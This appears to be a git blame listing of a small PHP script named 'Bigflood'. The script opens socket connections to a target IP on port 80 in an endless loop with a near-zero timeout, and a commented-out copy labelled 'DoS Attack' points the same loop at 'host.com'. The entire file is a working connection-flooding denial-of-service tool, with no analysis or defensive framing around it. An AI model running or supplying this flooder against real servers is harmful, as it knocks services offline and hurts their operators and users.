Commit | Line | Data |
---|---|---|
8de51304 H |
1 | <?php\r |
2 | //Bigflood\r | |
3 | $host = "localhost";\r | |
4 | $host = "192.168.2.161";\r | |
5 | $port = 80;\r | |
6 | $timeout = 0.00001;\r | |
7 | \r | |
8 | echo("Sending ".(1/$timeout)." packets / second.\n");\r | |
9 | while(1) {\r | |
10 | @pfsockopen($host, $port, $errno, $err, $timeout);\r | |
11 | }\r | |
12 | \r | |
13 | \r | |
14 | /*\r | |
15 | \r | |
16 | <?php\r | |
17 | //DoS Attack\r | |
18 | echo("Attacking...");\r | |
19 | while(1) {\r | |
20 | @pfsockopen(\r | |
21 | "host.com", 80, $errno, $err, 0.00001);\r | |
22 | }\r | |
23 | ?>\r | |
24 | \r | |
25 | */\r |